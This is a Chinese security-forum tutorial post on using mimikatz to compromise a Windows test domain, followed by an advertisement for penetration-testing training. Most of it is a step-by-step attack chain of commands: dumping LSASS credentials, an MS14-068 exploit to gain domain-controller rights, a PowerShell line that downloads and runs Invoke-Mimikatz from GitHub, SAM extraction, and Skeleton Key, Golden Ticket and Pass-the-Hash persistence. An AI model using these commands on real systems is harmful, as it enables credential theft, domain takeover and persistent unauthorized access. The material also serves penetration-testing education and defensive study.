请选择 进入手机版 | 继续访问电脑版

女黑客安全网-零基础入门网络安全学习-渗透测试零基础入门学习

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 2755|回复: 0

内网渗透中mimikatz的使用

[复制链接]

131

主题

146

帖子

1174

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
1174
发表于 2019-1-23 21:50:31 | 显示全部楼层 |阅读模式
0x01 简介
6630417954328101071.jpg
mimikatz,很多人称之为密码抓取神器,但在内网渗透中,远不止这么简单
0x02 测试环境
6608902710795210585.jpg
网络资源管理模式:
已有资源:
域内一台主机权限
操作系统:win7 x64
域权限:普通用户
0x03 测试目标
6631220597815370082.jpg
1、获得域控权限 2、导出所有用户口令 3、维持域控权限
0x04 测试过程
6631220597815370082.jpg
1、获取本机信息
mimikatz
privilege::debug
sekurlsa::logonpasswords
获取本机用户名、口令、sid、LM hash、NTLM hash 如图
6631448196722332195.jpg
2、攻击域控,获得权限
使用ms14-068漏洞
ms14-068.exe -u -p -s -d
生成伪造缓存test.ccache:
如图
导入伪造缓存: mimikatz
kerberos::ptc test.ccache
登陆:
net use \\A-635ECAEE64804.TEST.LOCAL
dir \\A-635ECAEE64804.TEST.LOCAL\c$
获得域控权限,如图
6630792887793722410.jpg
3、导出域控信息
(1)直接获取内存口令 mimikatz
privilege::debug
sekurlsa::logonpasswords
(2)通过内存文件获取口令 使用procdump导出lsass.dmp mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
(3)通过powershell加载mimikatz获取口令
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
(4)导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份(之前文章有介绍)mimikatz:
lsadump::sam SYSTEM.hiv SAM.hiv
4、维持域控权限
(1)Skeleton Key mimikatz
privilege::debug
misc::skeleton
万能钥匙,可使用任意用户登陆域控
net use \\A-635ECAEE64804.TEST.LOCAL mimikatz /user:test
如图
6630792887793722410.jpg
(2)golden ticket mimikatz
lsadump::lsa /patch
获取krbtgt的ntlmhash,如图
6630260724165327694.jpg
生成万能票据: mimikatz
kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-2848411111-3820811111-1717111111 /krbtgt:d3b949b1f4ef947820f0950111111111 /ticket:test.kirbi
导入票据: mimikatz
kerberos::ptt test.kirbi
登陆域控:
net use \\A-635ECAEE64804.TEST.LOCAL
dir \\A-635ECAEE64804.TEST.LOCAL\c$
如图
6630792887793722410.jpg
Tips:
Golden Ticket不多说,自行理解
By default, the Golden Ticket default lifetime is 10 years
password changing/smartcard usage does not invalidate Golden Ticket;
this ticket is not emitted by the real KDC, it's not related to ciphering methods allowed;
NTLM hash of krbtgt account is never changed automatically.
(3)Pass-The-Hash mimikatz
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:cc36cf7a8514893efccd332446158b1a
如图
6630792887793722410.jpg
5、补充
登陆域控,刷新扫雷记录,留下名字;D mimikatz
minesweeper::infos
如图
6630567487910029892.jpg
0x05 小结



必火网络安全培训,北京实地培训,月月有开班,零基础入门,五个月打造渗透高手。
详情请加微信:18622800700,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网-零基础入门网络安全学习-渗透测试零基础入门学习 ( 津ICP备17008032号-3 )版权所有:一极(天津)安全技术服务有限公司

GMT+8, 2019-10-19 07:23 , Processed in 0.032843 second(s), 24 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表